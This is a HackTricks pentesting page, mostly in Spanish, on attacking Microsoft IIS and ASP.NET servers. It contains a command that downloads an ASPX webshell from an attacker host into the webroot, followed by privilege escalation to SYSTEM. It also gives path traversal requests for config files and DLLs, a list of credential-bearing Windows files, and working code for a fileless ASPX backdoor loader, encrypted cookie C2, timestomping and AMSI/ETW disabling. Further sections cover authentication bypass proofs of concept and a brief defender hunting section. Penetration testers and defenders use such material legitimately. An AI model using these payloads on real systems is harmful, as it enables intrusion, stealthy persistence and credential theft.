IIS - Internet Information Services
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Test executable file extensions:
- asp
- aspx
- config
- php
Webroot escribible → ASPX command shell
Si un usuario/grupo con pocos privilegios tiene acceso de escritura a C:\inetpub\wwwroot, puedes subir un ASPX webshell y ejecutar comandos del SO como la identidad del pool de aplicaciones (a menudo con SeImpersonatePrivilege).
- Verificar ACLs:
icacls C:\inetpub\wwwrootocacls .buscando(F)en tu usuario/grupo. - Subir un webshell de comandos (p. ej., fuzzdb/tennc
cmd.aspx) usando PowerShell:
iwr http://ATTACKER_IP/shell.aspx -OutFile C:\inetpub\wwwroot\shell.aspx
- Solicita
/shell.aspxy ejecuta comandos; la identidad normalmente se muestra comoiis apppool\defaultapppool. - Combina con Potato-family LPE (p. ej., GodPotato/SigmaPotato) cuando el token del AppPool tenga SeImpersonatePrivilege para pivotar a SYSTEM.
Divulgación de la dirección IP interna
En cualquier servidor IIS donde obtengas un 302 puedes intentar eliminar el Host header y usar HTTP/1.0; dentro de la respuesta el Location header podría apuntar a la dirección IP interna:
nc -v domain.com 80
openssl s_client -connect domain.com:443
Respuesta que revela la IP interna:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Ejecutar archivos .config
Puedes subir archivos .config y usarlos para ejecutar código. One way to do it is appending the code at the end of the file inside an HTML comment: Download example here
More information and techniques to exploit this vulnerability here
IIS Discovery Bruteforce
Descarga la lista que he creado:
Se creó fusionando el contenido de las siguientes listas:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Úsala sin añadir ninguna extensión; los archivos que la necesitan ya la tienen.
Path Traversal
Leaking source code
Revisa el writeup completo en: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
Tip
En resumen, hay varios archivos web.config dentro de las carpetas de la aplicación con referencias a los archivos “assemblyIdentity” y a las “namespaces”. Con esta información es posible saber dónde están ubicados los ejecutables y descargarlos.
A partir de los Dlls descargados también es posible encontrar nuevos namespaces a los que deberías intentar acceder y obtener el archivo web.config para así encontrar nuevos namespaces y assemblyIdentity.
Además, los archivos connectionstrings.config y global.asax pueden contener información interesante.
En aplicaciones .Net MVC, el archivo web.config desempeña un papel crucial al especificar cada archivo binario del que depende la aplicación mediante etiquetas XML de “assemblyIdentity”.
Explorando archivos binarios
Un ejemplo de acceso al archivo web.config se muestra a continuación:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
Esta solicitud revela varias configuraciones y dependencias, tales como:
- EntityFramework versión
- AppSettings para webpages, client validation y JavaScript
- System.web configuraciones para authentication y runtime
- System.webServer configuración de módulos
- Runtime binding de ensamblados para numerosas bibliotecas como Microsoft.Owin, Newtonsoft.Json y System.Web.Mvc
Estas configuraciones indican que ciertos archivos, como /bin/WebGrease.dll, se encuentran dentro de la carpeta /bin de la aplicación.
Archivos del directorio raíz
Los archivos encontrados en el directorio raíz, como /global.asax y /connectionstrings.config (que contiene contraseñas sensibles), son esenciales para la configuración y el funcionamiento de la aplicación.
Espacios de nombres y web.config
Las aplicaciones MVC también definen archivos web.config adicionales para espacios de nombres específicos para evitar declaraciones repetitivas en cada archivo, como se demuestra con una solicitud para descargar otro web.config:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
Descargando DLLs
La mención de un espacio de nombres personalizado sugiere una DLL llamada “WebApplication1” presente en el directorio /bin. A continuación se muestra una solicitud para descargar la WebApplication1.dll:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
Esto sugiere la presencia de otros DLLs esenciales, como System.Web.Mvc.dll y System.Web.Optimization.dll, en el directorio /bin.
En un escenario donde un DLL importa un namespace llamado WebApplication1.Areas.Minded, un atacante podría inferir la existencia de otros archivos web.config en rutas predecibles, como /area-name/Views/, que contienen configuraciones específicas y referencias a otros DLLs en el directorio /bin. Por ejemplo, una solicitud a /Minded/Views/web.config puede revelar configuraciones y namespaces que indican la presencia de otro DLL, WebApplication1.AdditionalFeatures.dll.
Archivos comunes
Desde aquí
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 Error
If you see an error like the following one:
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png)
Significa que el servidor no recibió el nombre de dominio correcto dentro del Host header.
Para acceder a la página web podrías mirar el certificado SSL servido y quizá encuentres el nombre de dominio/subdominio ahí. Si no está, puede que necesites brute force VHosts hasta encontrar el correcto.
Descifrar configuración encriptada y ASP.NET Core Data Protection key rings
Dos patrones comunes para proteger secretos en aplicaciones .NET alojadas en IIS son:
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) para secciones de web.config como
. - ASP.NET Core Data Protection key ring (persisted locally) usado para proteger secretos de la aplicación y cookies.
Si tienes acceso al sistema de archivos o acceso interactivo en el servidor web, las claves co-ubicadas a menudo permiten el descifrado.
- ASP.NET (Full Framework) – descifrar secciones de configuración protegidas con aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
- ASP.NET Core – buscar Data Protection key rings almacenados localmente (archivos XML/JSON) en ubicaciones como:
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
Con el key ring disponible, un operador que se ejecute con la identidad de la app puede instanciar un IDataProtector con los mismos purposes y unprotect secretos almacenados. Las malas configuraciones que almacenan el key ring con los archivos de la app hacen que la desencriptación offline sea trivial una vez que el host está comprometido.
IIS fileless backdoors and in-memory .NET loaders (estilo NET-STAR)
El toolkit Phantom Taurus/NET-STAR muestra un patrón maduro para fileless IIS persistence y post‑exploitation íntegramente dentro de w3wp.exe. Las ideas centrales son ampliamente reutilizables para custom tradecraft y para detection/hunting.
Key building blocks
- ASPX bootstrapper hosting an embedded payload: a single .aspx page (e.g., OutlookEN.aspx) carries a Base64‑encoded, optionally Gzip‑compressed .NET DLL. Upon a trigger request it decodes, decompresses and reflectively loads it into the current AppDomain and invokes the main entry point (e.g., ServerRun.Run()).
- Cookie‑scoped, encrypted C2 with multi‑stage packing: tasks/results are wrapped with Gzip → AES‑ECB/PKCS7 → Base64 and moved via seemingly legitimate cookie‑heavy requests; operators used stable delimiters (e.g., “STAR”) for chunking.
- Reflective .NET execution: accept arbitrary managed assemblies as Base64, load via Assembly.Load(byte[]) and pass operator args for rapid module swaps without touching disk.
- Operating in precompiled ASP.NET sites: add/manage auxiliary shells/backdoors even when the site is precompiled (e.g., dropper adds dynamic pages/handlers or leverages config handlers) – exposed by commands such as bypassPrecompiledApp, addshell, listshell, removeshell.
- Timestomping/metadata forgery: expose a changeLastModified action and timestomp on deployment (including future compilation timestamps) to hinder DFIR.
- Optional AMSI/ETW pre‑disable for loaders: a second‑stage loader can disable AMSI and ETW before calling Assembly.Load to reduce inspection of in‑memory payloads.
Minimal ASPX loader pattern
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>
Utilidades de empaquetado/crypto (Gzip + AES‑ECB + Base64)
using System.Security.Cryptography;
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}
static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}
static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}
Flujo de Cookie/session y superficie de comandos
- Session bootstrap and tasking se llevan a cabo mediante cookies para mezclarse con la actividad web normal.
- Los comandos observados en entornos reales incluían: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; y primitivas de ejecución dinámica code_self, code_pid, run_code para ejecución en memoria de .NET.
Utilidad de Timestomping
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);
Desactivación en línea de AMSI/ETW antes de Assembly.Load (variante loader)
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md
Hunting notes (defenders)
- Página ASPX única y extraña con blobs Base64/Gzip muy largos; publicaciones con muchas cookies.
- Módulos managed sin respaldo dentro de w3wp.exe; cadenas como Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
- Delimitadores repetidos como “STAR” en el tráfico; marcas de tiempo desajustadas o incluso futuras en ASPX/assemblies.
Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)
Muchas apps ASP.NET integran Telerik UI for ASP.NET AJAX y exponen el handler no autenticado Telerik.Web.UI.WebResource.axd. Cuando el endpoint de cache del Image Editor es accesible (type=iec), los parámetros dkey=1 y prtype habilitan reflexión insegura que ejecuta cualquier constructor público sin parámetros pre‑auth. Esto proporciona un primitivo DoS universal y puede escalar a RCE pre‑auth en apps con handlers inseguros AppDomain.AssemblyResolve.
See detailed techniques and PoCs here:
Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd
Old IIS vulnerabilities worth looking for
Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure
Puedes intentar enumerar carpetas y archivos dentro de cada carpeta descubierta (incluso si requiere Basic Authentication) usando esta técnica.
La principal limitación de esta técnica si el servidor es vulnerable es que solo puede encontrar hasta las primeras 6 letras del nombre de cada archivo/carpeta y las primeras 3 letras de la extensión de los archivos.
Puedes usar https://github.com/irsdl/IIS-ShortName-Scanner para probar esta vulnerabilidad:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
.png)
Investigación original: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
También puedes usar metasploit: use scanner/http/iis_shortname_scanner
Una buena idea para encontrar el nombre final de los archivos descubiertos es preguntar a LLMs por opciones, como se hace en el script https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py
Basic Authentication bypass
Bypass a basic authentication (IIS 7.5) intentando acceder a: /admin:$i30:$INDEX_ALLOCATION/admin.php o /admin::$INDEX_ALLOCATION/admin.php
Puedes intentar combinar esta vulnerabilidad y la anterior para encontrar nuevas carpetas y bypass la autenticación.
ASP.NET Trace.AXD enabled debugging
ASP.NET incluye un modo de depuración y su archivo se llama trace.axd.
Mantiene un registro muy detallado de todas las peticiones realizadas a una aplicación durante un periodo de tiempo.
Esta información incluye IPs de clientes remotos, IDs de sesión, todas las cookies de petición y respuesta, rutas físicas, información de código fuente, y potencialmente incluso nombres de usuario y contraseñas.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

ASPXAUTH Cookie
ASPXAUTH usa la siguiente información:
validationKey(string): clave codificada en hex para usar en la validación de la firma.decryptionMethod(string): (por defecto “AES”).decryptionIV(string): vector de inicialización codificado en hex (por defecto un vector de ceros).decryptionKey(string): clave codificada en hex para usar en la descifrado.
Sin embargo, algunas personas usarán los valores por defecto de estos parámetros y usarán como cookie el correo electrónico del usuario. Por lo tanto, si puedes encontrar un sitio que use la misma plataforma que está usando la cookie ASPXAUTH y creas un usuario con el correo electrónico del usuario que quieres suplantar en el servidor bajo ataque, podrías ser capaz de usar la cookie del segundo servidor en el primero y suplantar al usuario.
Este ataque funcionó en este writeup.
Bypass de autenticación de IIS con contraseñas en caché (CVE-2022-30209)
Full report here: Un bug en el código no comprobaba correctamente la contraseña proporcionada por el usuario, por lo que un atacante cuyo hash de contraseña coincida con una clave que ya está en la cache podrá iniciar sesión como ese usuario.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
Referencias
- 0xdf – HTB Job (IIS write → ASPX shell → GodPotato)
- Unit 42 – Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite
- AMSI/ETW bypass background (HackTricks)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


